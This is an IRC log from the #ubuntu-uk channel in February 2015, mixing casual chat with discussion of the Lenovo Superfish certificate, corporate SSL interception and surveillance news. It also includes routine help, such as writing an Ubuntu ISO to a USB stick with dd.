<zmoylan-pi> and after a few more months 41 awaits
<foobarry> i've been using windows every day for 2 weeks. it's been truly terrible
<zmoylan-pi> which version?
<foobarry> blue screens, crashes, poor workflow every day
<foobarry> win7
<zmoylan-pi> and yet win7 is the /best/ version at the mo
<popey> lose8
<diplo> I quite like Win7
<diplo> Never had a blue screen yet
<foobarry> plug in external screen/projector. close the lid. reopen at desk without 2nd screen. blue screen
<foobarry> every time. nobody to report it to.
<foobarry> also none of my usb ports work on win7
<foobarry> they used to but decide to stop one day
<foobarry> also i have disabled the forced auto-reboot after updates thing
<awilkins> foobarry, That's a graphics driver problem
<awilkins> Graphics drivers are pretty much the only thing other than hardware faults that can BSOD Windows now
<awilkins> All the other drivers are in userspace now, graphics drivers have a kernel shim and a userspace driver
<diddledan> an interesting discussion going-on at the hantslug mailing list - it started as a musing over an educational plan by politicos to improve computer-related studies and descended into the current discussion over the future of humanity and ai and evolution and discarding our physical form
<knightwise> grr conf call from hell
<bigcalm> I hope they didn't reverse the charges
<zmoylan-pi> 1 person who needs every thing to be repeated, 1 person who has no idea what it's a about and needs everything explained, 1 person with heavy breathing, 1 irritating cough and a partridge in a pear tree
<diddledan> zmoylan-pi, lol
<diddledan> zmoylan-pi, that about sums up _every_ confcall ever
<knightwise> zmoylan-pi: head on !
<zmoylan-pi> oh and i forgot the supervillans of conference calls.  the waffler and his henchmen the drones...
<foobarry> i had a call the other day with a vendor who say i cannot download their "enterprise version" of some open source software
<foobarry> which is LPGL
<foobarry> "can i install it on my dev server" "yes but the cost is prohibitive"
<zmoylan-pi> fair enough, i'll take the source code if it's open source :-)
<foobarry> "cano i have a download link to it" "no"
<diddledan> foobarry, gplviolations.org
<foobarry> "we install it for you with logins to your super secure zone"
<foobarry> https://www.openclinica.com/product-editions-comparison-chart
<popey> open core
<popey> seems fair enough
<shauno> looks legit to me too.  gpl doesn't meant they have to give you it.  or the source.  just that if they do, they have to provide an offer to provide the source
<foobarry> access to source code is X
<foobarry> not sure why there is a tick there
<foobarry> was a weird conversation
<foobarry> we buying enterprise version
<foobarry> if its LGPL then surely i can install on teh dev server which i don't need support on
<shauno> I wonder how much difference there is between them.  most the 'features' make it look like it's just with or without support
<foobarry> we asked for documentation abou the differences
<foobarry> none was forthcoming
<foobarry> gave us hard sales pitch
<foobarry> http://www.amazon.co.uk/Samsung-Galaxy-8-4-inch-Tablet-Bronze/dp/B00KLED6Q0
<foobarry> looking nice, but pricey
<zmoylan-pi> samsung tablet with samsung software...
<foobarry> wife has samsung tablet. software doesn't get in the way, althouh has become incredibly slow
<foobarry> maybe dying flash? dunno
<foobarry> 2560 x 1600 samsung vs 1900x1200 hudl2
<brobostigon> touchwiz itself, is a very good resource hog.
<foobarry> cyangoen isn't really available for the one she has
<awilkins> Update on that Lenovo thing ; the private key for the MITM cert is known
<diddledan> I must have missed that one
<diddledan> do you have a link handy or shall I duckduckgo it?
<diddledan> ok, I found it
<shauno> That's what you get for sleeping all morning
<diddledan> dang that's nassy
<diddledan> I wonder whether lenovo actually knew what superfish was doing or if they just didn't check?
<intrbiz> diddledan: one doubts they performed any kind of security audit on it
<foobarry> knew yes, understood, probably no the PHB, but the techies would've known and complained surely
<diplo> Anyone here tried integrating telegram-cli with Nagios ?
<bashrc> maybe they just did it for the lulz
<diddledan> it's bog-standard adware by the looks, just one that insists on mitm-ing ssl
<bashrc> probably the great idea of some clueless exec
<diddledan> claims of usefulness: "The technology instantly analyses images on the web and presents identical and similar product offers that may have lower prices, helping users search for images without knowing exactly what an item is called or how to describe it in a typical text-based search engine."
<diddledan> basically standard ad-pushing
<shauno> it's the age-old thing though.  how they're doing it is the problem, regardless of the goal
<diddledan> indeed
<shauno> the same way most viruses don't actually want to mess your machine up.
<intrbiz> I struggle to see how applications which intercept your communications to inject adverts are legal, let alone ethical
<diddledan> intrbiz, in america it might be illegal under wiretap rules
<diddledan> I don't know about british equivalency tho
<diddledan> I watch american tv so I hear more about their laws :-p
<intrbiz> diddledan: no doubt there'll be a loophole, alone the lines of you accepted the EULA
<diddledan> aye
<diddledan> eula trumps all
<intrbiz> yeh
<shauno> I'm not sure it's a wiretap, since there's no third-party listening
<diddledan> I'm sure there's a clause about the devil owning my soul in one of the eula's that I've accepted somewhen
<foobarry> at starbucks probably
<diddledan> the devil is at starbucks?
<intrbiz> at starbucks, the devil merely makes the coffee
<diddledan> intrbiz, indeed, their coffee is pretty evil
<intrbiz> diddledan: yup
<awilkins> My old workplace had a MITM SSL proxy in place
<diddledan> awilkins, \o/
<foobarry> i expect schools do it
<awilkins> The developers and more technical users noticed the symptoms when they used Firefox for things
<zmoylan-pi> running off an old windows 95 box for added security? :-)
<awilkins> WEbsense
<awilkins> Group policy also enforced that browsing went through it out of the office
<awilkins> Which was a change
<intrbiz> Things like Websense and Palo-alto can do TLS MITM
<intrbiz> Schools have a duty of care in many cases
<intrbiz> There is of course BlueCoat too
<intrbiz> Notable for probably selling their devices to Syria
<awilkins> All very worrying
<intrbiz> I'm intrigued as to if any Windows AV products check the installed trusted roots
<shauno> we use some zscaler mess that does mitm too.  part of the reason I keep personal usage to my 3g dongle
<intrbiz> I tend to use a VPN to my server when out and about these days, in coffee shop or tethered
<shauno> speaking of 3g, my connection today is so coughing latent I feel like I'm sending freenode postcards
<diddledan> shauno, lenovo mitm, hmm </latency>
<shauno> I'm really tempted to return it
<awilkins> Yeah
<awilkins> I tunnel things through SSH a lot of the time
<shauno> hah, no, I'm 1 day outside the 14 days
<shauno> that'd explain why it's making dialup look good
<awilkins> I certainly kept on doing that at work after discovering what they were doing
<diddledan> grr
<shauno> we can't go through ssh anymore either.  it goes through the proxy or it doesn't go out
<zmoylan-pi> *
<foobarry> oof
<diddledan> yey for egress-monitoring?
<awilkins> I had to ask for a firewall exception#
<foobarry> slavery
<awilkins> Happily I have a reasonable justification
<awilkins> WEll, had
<awilkins> Now I am in charge of my own network gear
<diddledan> awilkins, you're the dude that everyone ignores to do his own thing in a closet?
<awilkins> Work at home
<diddledan> aah
<diddledan> :-p
<awilkins> I'm the dude who buys a router and never uses the stock firmware
<diddledan> stock firmware always has security-holes
<diddledan> netgear just had a large slew of their devices marked as vulnerable I think I saw?
<awilkins> Dunno
<awilkins> Just use whatever the newest build of OpenWRT that will run on given hardware is
<awilkins> Also, hardware buying decisions are now informed by their list of supported hardware
<diddledan> http://betanews.com/2015/02/19/soap-vulnerability-leaves-netgear-routers-open-to-hackers/
<bweir> can anyone help me with networking problem I have in Ubuntu 14.04?
<bigcalm> !ask | bweir
<lubotu3> bweir: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-) See also !patience
<bweir> OK - here goes. A failed update left Ubuntu 14.04 in a state where Unity desktop no longer works. Running in gnome shows borked network. Interfaces up, can ping local, but have no name resolving, thus cannot use apt-get to finish update or re-install packages. Have tried various fixes, but no go. Any advice?
<zleap> hi
<popey> bweir: sure...
<popey> bweir: I would be inclined to do the following...
<zleap> i have just installed a very minimal ubuntu 12.04 mini iso in to virtual machine manager,  just wondered how to bring up the configuration so i can see what packages i can install
<zleap> there was a screen for this in the installer,
<zleap> please
<popey> bweir: http://paste.ubuntu.com/10310466/
<foobarry> what are the new autobackup changes on g+?
<popey> the what?
<diplo> zleap, minimal cli only ? if so apt-cache search package name
<foobarry> changes to google autobackup
<popey> no idea
<zleap> ok thanks
<popey> zleap: tselect
<popey> or just run aptitude
<zleap> popey: thanks
<diplo> You could use aptitude or something but the cli is easy
<foobarry> just got a message on my phone about it
<diplo> hah I was googling for that one popey :)
<bweir> popey: Thanks for that - unfortunately have already tried that. apt-get just hangs since it cannot get to repositories. It looks to be a name resolution issue, but I cant tell whether system uses networkmanager or ifup/ifdown.
<popey> bweir: wired or wifi?
<bweir> popey: Wired - static ip, have also tried wifi dhcp with same result.
<popey> you can force the configuration in /etc/network/interfaces and /etc/resolv.conf
<popey> to get yourself back up and running to finish off the apt nonsense
<foobarry> re ubuntu phone i'd be interested about size of app data
<foobarry> since android 4.x my data grows massively
<foobarry> facebook 100mb, google search 50mb..etc
<foobarry> either white space..or worse?
 * popey runs ncdu on his phone to find out how much space is used
<foobarry> i guess facebook etc are "web apps"
<bashrc> here's a question. Does ubuntu touch have an owncloud client yet?
<diplo> bashrc, https://appstore.bhdouglass.com/apps
<bweir> popey: Been trying all morning thru' hand edits of /etc/network/interfaces and /etc/resolv.conf , no joy. Not a hardware issue, as booting into debian 7 works fine. Clues are: Unity desktop does not work, Gnome session does work but no network management. TTY1 shows network normal at base level (ip addresses).
<diplo> https://appstore.bhdouglass.com/app/com.ubuntu.snappy.owncloud
<diplo> Looks like that's just for Snappy Core though
<popey> bweir: :(
<bashrc> oh cool
<bweir> popey: OK! but thanks for your time and attention.
<popey> np
<diplo> I want to try and develop an app, may have a go at doing a syncthing one once I reinstall this machine
<zleap> is there any decent documentation for virt-manager ? http://virt-manager.org/documentation/ is all i can find
<zleap> which is not really helpful
<shauno> does anyone use Roundcube?  or know off-hand if it does threading?
<diddledan> I've not looked at that in so long I've forgotten what it did do
<shauno> I've been trying 'rainloop' ( http://www.rainloop.net ) but absolutely no threading makes mail a sad sad place
<shauno> which is a shame - it's surprisingly passable otherwise
<davmor2> shauno: https://github.com/RainLoop/rainloop-webmail/issues/46
<shauno> hm, sneaky!
<shauno> so now it threads poorly instead ofnot at all.  it's a start
<davmor2> shauno: \o/
<shauno> cheers
<Grebulus> OK, sod that I'm trying to do the old, dd if=isoimage.iso of=/dev/sdb bs=1M bootable flash install, two questions:
<popey> that should work.
<Grebulus> 1, how do I type where my ISO is off my portable hard disk ? file:/// doesn't work..
<Grebulus> 2, how do I make sure my USB is sdb ?
<popey> type "mount"
<popey> that will list mounts
<Grebulus> mounting ..
<popey> your portable hard drive is probably mounted somewhere like /media/foo/bar/
<popey> sudo fdisk -l
<popey> also useful
<popey> will list all disks, so you can make sure your usb key is sdb
<popey> my dinner is ready, ttfn
<Grebulus> Ok , here's the spew out : http://paste.ubuntu.com/10312101/
<Grebulus> ok , scrub that .. think I've got it .. how do I put the dd if=isoimage.iso  name/file in corrctly ?
<Grebulus> popey's off for a popadom, then I'm off for a rollie BRB in 5 mins.
<Grebulus> hey ho ..
<ali1234> /media/ubuntu/SAMSUNG/Samsung\ Drive\ Manager/HugeeGreenBugs_Ubuntu_14.04_64bit_for_Acer_C720_1.0.17_1421293517
<Grebulus> ali1234: maybe I missing something ? http://paste.ubuntu.com/10312313/
<ali1234> maybe
<ali1234> it doesn't look like a complete file name to me
<Grebulus> copied what you paste, anywayz
<ali1234> i just copied what you wrote
<Grebulus> *typed
<ali1234> and fixed the escaping
<Grebulus> K, Ideally I want to get it using this file : file:///media/ubuntu/SAMSUNG/Samsung%20Drive%20Manager/HugeGreenBugs_Ubuntu_14.04_64bit_for_Acer_C720_1.0.17_1421293517.iso
<ali1234> /media/ubuntu/SAMSUNG/Samsung\ Drive\ Manager/HugeeGreenBugs_Ubuntu_14.04_64bit_for_Acer_C720_1.0.17_1421293517.iso
<Grebulus> .. just thought I'd do it via the media/ubuntu way ...
<Grebulus> How do I do this file specificateion ?
<davmor2> D.I.S.C.O \o/ /o/ \o/ \o\ \o/
<ali1234> remove file:// from the start and replace all %20 with "\ "
<Grebulus> ok /.. doubt it'll work , but hey ho ..
<Grebulus> Failed to open .iso : http://paste.ubuntu.com/10312442/
<ali1234> you didnt follow my instructions correctly
<ali1234> i said remove file://, you removed file:///
<ali1234> i said replace %20 with "\ " and you replaced it with "\"
<Grebulus> oh ok .. sory
<Grebulus> Still no disco : http://paste.ubuntu.com/10312491/
<popey> you missed the leading / from media
<popey>  dd if=media/ubun should be dd if=/media/ubun......
<Grebulus> ok .. give that a try .. cheers.
<popey> just press up arrow
<popey> then left arrow to get to the start and put the / in
<Grebulus> K, something about permissions, now... http://paste.ubuntu.com/10312535/
<popey> add sudo to the start
<popey> also
<Grebulus> ok right, silly me.
<popey> hang on
<popey> /dev/sdd1 looks wrong
<popey> I suspect you mean /dev/sdd
<Grebulus> I'll show you the mount . it's to UU1
<popey> so sdd is your usb stick, right?
<Grebulus> right, that's it . It's /dev/sdd1 on /media/ubuntu/UUI  : http://paste.ubuntu.com/10312578/
<popey> so sdc is your samsung drive containing the iso?
<Grebulus> yep
<popey> ok, and sdd is the usb stick
<popey> before you dd it you need to unmount it
<popey> sudo umount /dev/sdd1
<Grebulus> thnk so.
<Grebulus> ok
<popey> you can't write to a mounted stick. Bad News
<Grebulus> ok , try that . I shall.
<popey> once you have unmounted you should be able to sudo dd if=/media/ubuntu/SAMSUNG/Samsung\ Drive\ Manager/HugeGreenBugs_Ubuntu_14.04_64bit_for_Acer_C720_1.0.17_1421293517.iso of=/dev/sdd
<Grebulus> Crickey, you know what . I think it actually working, cringe.
<popey> huzzah
 * popey goes back to feeding his minecraft chickens
<Grebulus> huzzah ? must be something 'bout freedom and the bazarr .. where did that guy end up ?
<popey> eric raymond?
<popey> dunno, on a firing range somewhere
 * davmor2 roasts popey 's minecraft chickens ....... they are not good eatin' to many bits
<popey> nom noms
<Grebulus> Crumbs popey , do think it's done it ? http://paste.ubuntu.com/10312806/
<popey> rock on
<Grebulus> https://www.youtube.com/watch?v=Nj628ufciSc
<Grebulus> cheers for that, guys.
<popey> np
<Grebulus> The SeaBIOS on my c720P just says its" Booting from Hard Disk..."
<Grebulus> then "GRUB_"   what now, then, now then ?
<davmor2> popey: when you say rock on this is what I picture https://www.youtube.com/watch?v=_lK4cX5xGiQ#t=162
<popey> Grebulus: no idea, never owned a chromebook
 * Grebulus sighs.
<davmor2> popey: so for some reason that url that is meant to include the time didn't move the video to 2.41 so you'll have to for the Rock on bit :)
<Grebulus> I'm rocking with anxiety, not Tenacious D, but thanks all the same.
<Grebulus> davmor2: You missed out the 's' at the end.
<Grebulus> for seconds
<davmor2> Grebulus: I just took the link that youtube gave me
<diddledan> davmor2, lol, good choice of video
<davmor2> diddledan: did you not know that I'm the music man, I know tunes for all occasions :)
<diddledan> lol
<davmor2> diddledan: I'm happy, feeling glad, I got sunshine in a bag, I'm useless but not for long, the future is moving on and on and on.....
<davmor2> s/moving/coming
<Grebulus> Did anyone get an Ubuntu phone yet ? Grebulus keeps getting up after 9am.
<davmor2> diddledan: and then there is the epic...With the lights off, it's less dangerous, here we are now, entertain us, we are stupid and contagious, here we are now, educate us
<ali1234> https://www.youtube.com/watch?v=YcAMNYNz4Do
#ubuntu-uk 2015-02-20
<leviathaan> k
<mapps> hey all
<leviathaan> hi mapps
<mapps> :D
<mapps> sup
<mapps> a new night owl?
<mapps> dot recall you at these hours
<mapps> D
<mapps> ;D
<leviathaan> yeah, i just installed mirc :-)
<mapps> ah
<mapps> howcome youre up so late
<mapps> usiong ubuntu on a diff machine?
<leviathaan> i'm considering starting my own msp and doing some research on the net
<knightwise> huzzah!
<zmoylan-pi> it's a friday?
<knightwise> yo zmoylan-pi
<zmoylan-pi> celebrating friday knightwise?
<knightwise> hmmm
<knightwise> cried victory too soon
<knightwise> working with alpine and trying to figure out how to use multiple accounts
<knightwise> i thought , i'll be smart and created 3 different .pinerc files , one for each account
<knightwise> then I would launch Alpine -p .pinerc1 to use the first account .pinerc2 for the second
<knightwise> basically launching multiple instances of pine with different config files
<zmoylan-pi> i tried alpine but could never make it work with gmail following instructions for some reason
<knightwise> works great except when I want to send out emails , alpine keeps complaining the sent-mail folder exist
<MooDoo> morning all
<knightwise> hey MooDoo
<knightwise> 5 minutes to the first meeting of the day
<knightwise> I need cooooffeeeee
 * knightwise is going to enslave a brazillian java farmer to grow him coffee
<zmoylan-pi> surely the plan should be for the java farmer to grow you coffee. otherwise it's just a captive audience when you grow the coffee
<awilkins> Oh ho ho ho, the NSA / GCHQ pinched the private keys from a large SIM manufacturer
<awilkins> Everyone install Zfone!
<awilkins> Or silent circle or whatever
<zmoylan-pi> switch to self destructing pigeons rfc1149
<knightwise> zmoylan-pi: details details
<knightwise> hmm.. me need to fix alpine problem
<davmor2> morning all
<knightwise> hey davmor2
<knightwise> there :)
<knightwise> alpine beaten into submission :)
<zmoylan-pi> bad email client, bad! :-)
<JamesTait> Good morning all; happy Friday, and happy Love Your Pet Day! :-D
<knightwise> zmoylan-pi: got it working now. 3 different .pinerc config files for my 3 email accounts
<knightwise> starting up 3 different sessions of pine in screen
<knightwise> alpine i mean
<knightwise> so everything is nicely seperated
<zmoylan-pi> whatever works works
<brobostigon> morning boys and girls.
<knightwise> hey brobostigon
<knightwise> zmoylan-pi: now i just need to seperate the 3 signature files.
<brobostigon> hey knightwise
<knightwise> I was looking to see if its possible to include an html signature in Alpine
<knightwise> then i'll export the ones i'm using in the Gmail webclient
<davmor2> JamesTait: a pet is not just for christmas it should last through to new years :)
<JamesTait> davmor2, as long as you carve it right. ;)
<davmor2> JamesTait: technically shouldn't everyday be love your pet day :)
<JamesTait> davmor2, why yes, yes it should.
<JamesTait> But the same could be said of Good Manners Day, or Eat Bacon Day.
<davmor2> JamesTait: no eating bacon everyday makes it less special :)
<awilkins> Combine Love Your Pet and Eat Bacon Day by keeping pigs as pets!
<JamesTait> Bacon is *always* special.
<zmoylan-pi> eat bacon day... would stop bed hogging on the nhs when everyone dies at 60...
<JamesTait> Don't listen to the nasty man, bacon, he doesn't know what he's talking about.
<awilkins> Ever wonder why the right-wingers are all against voluntary euthanasia?
 * zmoylan-pi loves bacon but bacon every day would not end well
<awilkins> Because dying like that, slowly rotting in a hospital bed, is really expensive - lots of profits to be made.
 * davmor2 thinks JamesTait has a dog called bacon
<awilkins> Bacon is less fatty than sausage
<zmoylan-pi> i always thought it was because their offspring would fake their signature to inherit early
<awilkins> zmoylan-pi, This is why we need to hurry along the legal acceptance of cryptographic signatures
<zmoylan-pi> fat is this week... ::shakes magic 8 ball:: off the bad list
<awilkins> Sugar is the enemy
<JamesTait> davmor2, I have five cats and two cheeky little monkeys. That's more than enough.
<zmoylan-pi> and the wildlife that lives on 5 cats and 2 monkeys...
<bigcalm> Good morning peeps :)
<davmor2> bigcalm: how do
<JamesTait> bigcalm, o/
<bigcalm> davmor2: would you believe "over worked"?
<awilkins> zmoylan-pi, If your offspring hates you enough to kill you for your money... maybe you're just not a very nice person. Oh, right, we WERE talking about right-wing conservatives ;-)
<davmor2> bigcalm: No
<bigcalm> :P
<zmoylan-pi> in victorian times arsenic was nicknamed inheritance powder...
<awilkins> You'd think it would actually sit right in with Conservative ideals - if your value as a respected elder and source of counsel is so small that mere money is more valuable, well then, that surely, is the market deciding.
<arsen> ...must fix that regex
<zmoylan-pi> coffee time, with a penguin bar...
<awilkins> Those penguin bars.
<zmoylan-pi> they were on special 18 for the price of 9
<awilkins> Can't see your way clear to getting a cold one for all the expectant fathers balancing the egg on their feet.
<zmoylan-pi> you wonder how they worked out how to do that
<bigcalm> popey: RAT tickets were waiting for me when I got home last night. They are now in the ticket storage compartment of our kitchen letter rack
<popey> \o/
 * popey looks up
<popey> yup, mine is still on the wall
<bigcalm> :D
<bigcalm> Photos please!
<popey> bigcalm: http://imgur.com/dQphlcg
<bigcalm> Hehe, that'll do :)
<bigcalm> I have a habit of writing on the envelop what's in it and the date it happens
<popey> i have one ticket for one thing
<bigcalm> Will you remember the date?
<bigcalm> !rat | popey
<lubotu3> popey: rat is The Real Ale Train. A yearly Ubuntu UK loco event to celebrate friends, trains and ale. Saturday 19th September 2015 Hampshire, UK: http://loco.ubuntu.com/events/ubuntu-uk/3040-real-ale-train-2015/
<bigcalm> Teehee
<zmoylan-pi> do they have ruby on rails classes there? :-)
<popey> i have a calendar to tell me the date
<popey> and you, using the bot every day too :)
<davmor2> popey: I just think bigcalm gets off on abusing the bot to be honest :D
<popey> yeah
 * bigcalm giggles to himself
<zmoylan-pi> come the robot rebellion...
<bigcalm> When organising an event, I feel the need to publicise it
<bigcalm> We have 11 bods now. I'll stand down
<davmor2> bigcalm: you've killed 11 people /me dials 999
<zmoylan-pi> they're not dead they're merely recovering from last rat...
<bigcalm> davmor2: try 0118 999 881 999 119 7253
 * zmoylan-pi hums the catchy tune to that number
 * popey spams it around other irc channels
<bigcalm> popey: the RAT or the new emergency number?
<popey> yes
<bigcalm> I knew it
<leviathaan> hi there
<leviathaan> which are the best uk job sites?
<awilkins> For computronic jobs?
<awilkins> I usually look at www.cwjobs.co.uk
<leviathaan> yes
<awilkins> My experience is probably not helpful though
<awilkins> I work in a very specialized niche and I change jobs approximately every 5 years
<awilkins> But that's where I look, when I'm annoyed with my current posting and am thinking of moving elsewhere.. :-)
<leviathaan> :)
<popey> i used to use jobserve.com heavily
<bigcalm> popey: I'm seeing yet more names on the list that I do not know. What have you done?!
<popey> such as?
<bigcalm> Robert Leverington & Dominic Cleal
<bigcalm> Sorry if you guys are in here. I just don't know you by your real names :)
<popey> they're in surrey lug
<bigcalm> There's also a couple of names from earlier in the list that I don't know
<bigcalm> Elfy & Steve Mynott
<bigcalm> Has AlanBell dropped off the earth?
<zmoylan-pi> damn that intermittent gravity?
<awilkins> You can't drop without gravity
<zmoylan-pi> but if earths gravity were intermittent and the suns wasn't...
<awilkins> then the whole planet would be accelerated evenly
<awilkins> Including things on it
<davmor2> then the whole planet would probably be sucked into the sun
<awilkins> Well... TBH, Earth's gravity is not what keeps it away from the Sun
<awilkins> It's velocity is
<awilkins> Gravity is a property of mass, so if it failed... this would be a result of the Earth being massless... so it would fly off into space
<awilkins> And we'd all freeze to death
<awilkins> And it would all be AlanBell's fault.
<zmoylan-pi> i live in ireland, nothing would change about the temperature :-)
<awilkins> When the hail is actually small chunks of dry ice you'll change your tune!
<zmoylan-pi> it might dry things up a little...
<zmoylan-pi> we'd welcome it :-)
<knightwise> Listening to a guy who mixed together alan parsons Pipeline with a marvin gaye song.. Bril-i-ant
<awilkins> JamesTait, it actually seems to be Creepy Surveillance Day : http://www.bbc.co.uk/news/technology-31510485
<zmoylan-pi> start taking pics of every public servant police, mps etc. and putting them in online database for public access and see how it goes...
<awilkins> This is the reason for the new passport photo requirements, of course
<diplo> It is all a bit ut oh isn't it :)
<awilkins> Leeds station is all decked out in cameras ideally placed for face reco
<zmoylan-pi> get big face obscuring glasses
<zmoylan-pi> add a few leds to a baseball cap
<awilkins> Suddenly my habitual wearing of a hat with a wide brim when travelling has another excellent purpose besides sleeping under it on a train
<zmoylan-pi> and build your preadator cloaking device... :-)
<awilkins> Yeah, stick a bunch of IR LEDs on and it's not even visible to the fleshbots
<zmoylan-pi> just get the bee keeper hat and be done... :-)
<zmoylan-pi> of course the crazy level of spying stops crimes like it stopped the ira for instance...
<diddledan> evening all
<awilkins> It's mental
 * diddledan reads-up
<zmoylan-pi> and it's not going to stop or even slow down till someone puts the boot in on the intelligence agencies
<awilkins> If it generates even a small percentage of false positives, law enforcement will spend all their time harrassing people for no reason
<zmoylan-pi> so no difference there then
<awilkins> Although the video did want to tie in the gait recognition and earlobe (!) reco
<zmoylan-pi> well scotland yard had earprint records before finger print records iirc
<awilkins> I guess if you combine multiple biometric methods and they all have small false positive rates...
<zmoylan-pi> thing is they're trying to automate intelligence. when we can't even achieve that with educating people :-)
<bashrc> I don't really care about face recognition. Data retention and metadata gives away far more details about you than cameras in the street. The problems with accurately recognising people in the street automatically from camera images are formidable
<diddledan> something's wonky with the video - or my gfx card
<diddledan> prolly the driver update that windows 10 downloaded last night
 * awilkins shows diddledan the door for using Windows to connect to an Ubuntu channel
<davmor2> diddledan: ah I see your problem there "Windows 10"
<zmoylan-pi> it is casual friday...
<zmoylan-pi> slumming it friday is pushing it a little however :-)
<knightwise> zmoylan-pi: Hobo is the new Hipster
<diddledan> remote iris recog is scary - imagine the tech being able to recognise irises like the minority report advert machines
<zmoylan-pi> polarised glasses for privacy nuts \o/
<shauno> hot pokers for privacy nuts!
<diddledan> roasted privacy nuts on an open fire?
<MrIndeed> how can i sort my ubuntu panel indicators and how can i change the keyboard layout to flags?
<awilkins> Panel indicators : don't think there is a sort order as such. Keyboard layout indicators : you'd have to patch it with flag icons. I'm guessing the present set of icons were chosen because the style of the notifier bar is consciously monochrome
<MrIndeed> i looked it up and found you can do both
<MrIndeed> just need help
<diddledan> china ddos'd dilbert?
<diddledan> http://blog.dilbert.com/post/110911836486/ddos-attack-on-dilbert-com
<zmoylan-pi> or all the winxp compromised systems in china ddosed dilbert
<zmoylan-pi> pity the great china firewall didn't stop that
<diddledan> the question is why would anyone want to ddos dilbert?!
<diddledan> what do they gain from such?
<zmoylan-pi> snoopy?
<zmoylan-pi> garfield?
<davmor2> diddledan: they are trying to depress the west so they are easier to conquer
<diddledan> davmor2, 1 in 4 people are already depressed in the west so it's not gonna take much to get the rest of you
<diddledan> (I'm one of those 1 in 4)
<zmoylan-pi> i remember reading a story about wwii and how the japanese not understanding americans thought mickey mouse was great cultural icon to the americans.  they suggest a battle cry of 'mickey mouse is a rat!'
<diddledan> lol
<zmoylan-pi> still not as bad as what happened when a department store after the war in japan was told by head office to open a santas grotto for the kids on the american base nearby. they asked what a santas grotto was.
<zmoylan-pi> so head office said it was a christian holiday thing and sent a pic of santa.  so they nailed santa to a giant cruifix.  those little cross cultural mixups :-)
<diddledan> lol
<diddledan> great fun
<diddledan> that would be hilarious
<awilkins> Awesome, reminds me of that joke in Enemy Mine where the alien says "Mickey Mouse is a big stupid dope!"
<zmoylan-pi> when an american general crash landed in wwii in dublin mountains his plane was quicky reached by an irish army unit training nearby.  an irish speaking unit.  the general is famously recorded as saying 'those guys sure know their codes' :-D
<davmor2> Man Metallica is great testing Music
<zmoylan-pi> testing to see when your cubicle neighbour snaps?
<knightwise> I think Crazy Frog is tehe best testing music
<davmor2> you don't have to mad to test here but it helps
<awilkins> `kill` seems to be aliased on Ubuntu
<awilkins> tried kill -L to list the signals
<awilkins> Doesn't like it
<awilkins> /bin/kill -L works
<awilkins> Ah, it's bash builtin
<diddledan> I don't get why bash builds-in so many standard tools
<brobostigon> bbc2, 23:10, 2001: a space odyssey. :)
<diddledan> like [ is a builtin
<diddledan> as is [[
<diddledan> both of those are standard executable files in /bin also
<diddledan> brobostigon, \o/
<brobostigon> :)
<diddledan> watching this: https://www.youtube.com/watch?v=Ub5G_t-gUBc some weird behaviours
<diddledan> I don't understand how he acheives it tho but it's fun
<zmoylan-pi> i prefer 2010 but mostly for the more understandable plot :-)
<zmoylan-pi> and fingers crossed they get around to 2061 and 3001
<awilkins> The best reason to use the HTML5 player on YouTube : it doesn't leave fullscreen mode when it loses focus HOORAY
<diddledan> awilkins, I believe html5 is default now?
<awilkins> I still have to enable it
<diddledan> it's no good, I've got to go and buy chocolate
<m0nkey_> It's no good, I have to go buy a new CPU, motherboard, memory and SSD.
<diddledan> :-)
<m0nkey_> PC is about 2/6th built.
 * Laney stabs virgin media
<Laney> just give me a human
<m0nkey_> If it's still a virgin, maybe you should write to your media?
<m0nkey_> sorry, that was a bad diddledan type joke
<Laney> they've got a very active background noise cancellation system
<diddledan> teehee :-p
<diddledan> Laney, it's cancelling the foreground, too?
<m0nkey_> Laney, like somebody tuning in a radio?
<Laney> it does indeed cancel the foreground
<m0nkey_> Their VoIP system is probably doing some crappy bit rate conversion
<Laney> it's trying to mask out the sound of the call centre
<DJones> Heh, have to laugh at this http://www.dailymail.co.uk/news/article-2960791/Commuter-swears-man-way-interview-man-recruiter.html?ito=social-facebook
<DJones> Apply for a job as a web developer, tell the interviewer where to go on the tube (without realising who it was) then turn up for an interviewer with person they'd earlier told where to go
<DJones> -er
<diddledan> \o/ NSA+GCHQ FTW! https://firstlook.org/theintercept/2015/02/19/great-sim-heist/
<diddledan> having trouble, awilkins_ ?
<awilkins_> Cretinous daughter forgot the pass-swipe for her tablet
<awilkins_> Tablet didn't know my new SSID
<diddledan> pattern-lock?
<awilkins_> Had to change SSID so I could do a Google login to recover it
<diddledan> eep
<awilkins_> THen I "cracked" her pass-swipe anyway
<diddledan> lol
<awilkins_> She had a perfectly good 11 digit pin on it
<awilkins_> Which she could remember
<diddledan> that's an impressive pin
<awilkins_> But because I knew it she changes it to a swipe *different* to the one on her phone and promptly forgets it
<diddledan> most folk (myself included) just stick with 4
<awilkins_> It's got a text mnemonic behnid it
<diddledan> aah
 * diddledan does some hobbies as ordered by willcooke
<diddledan> I love them hobbies
<diddledan> hobbies is Teh awesome
<diddledan> (capital T on Teh becuase I can't be bothered to tell hexchat to not autocorrect :-p)
<diddledan> fixed.
<diddledan> teh
<diddledan> \o/
<grebulus> evening all
<grebulus> Just wondering if this was god for an Ubuntu dev. ? http://ebay.eu/1DBCajQ
<grebulus> **good, chrickey
<awilkins> Looks a nice enough machine
<awilkins> 4GB of RAM will be enough for most things but I'd prefer 8
<awilkins> But you can get SODIMMS cheap
<grebulus> cheers, think i'll get it as on ubuntu-on-air they all use thnkpads.
<diddledan> 4GB won't be enough if you're in the habbit of running any VMs
<awilkins> I like Levonos build quality
<awilkins> Good solid casing
<awilkins> Shame about the adware, but you'll be installing Ubuuntu on it :-)
<grebulus> yes, prettty much.
<awilkins> Hardware usually well supported on Linux, being Intel stylee
<grebulus> tired of trying to get a distroshare.com on me chromebook.
<awilkins> And you can flip the Fn and Ctrl keys in the bios
<awilkins> (stupid nonstandard keyboard layouts *spit*)
<awilkins> It has the nice bevel edge keys instead of the stupid chiclets on the newer ones too
<grebulus> right, but i'll be using another usb keyboard ofcourse.
<grebulus> just hope it doesn't go over Â£200.
<m0nkey_> wtf, when did the synergy project start charging?
<awilkins> Do they actually charge, or are they just pestering?
<awilkins> I know they've started to be *really* annoying
<awilkins> I donated and they spam me a lot
<m0nkey_> http://synergy-project.org/ .. find me a download link
<awilkins> Hmmph
<awilkins> Source is on GIthub
<awilkins> They don't technically have to provide you with binaries
<diddledan> https://synergy-project.org/nightly for CI builds
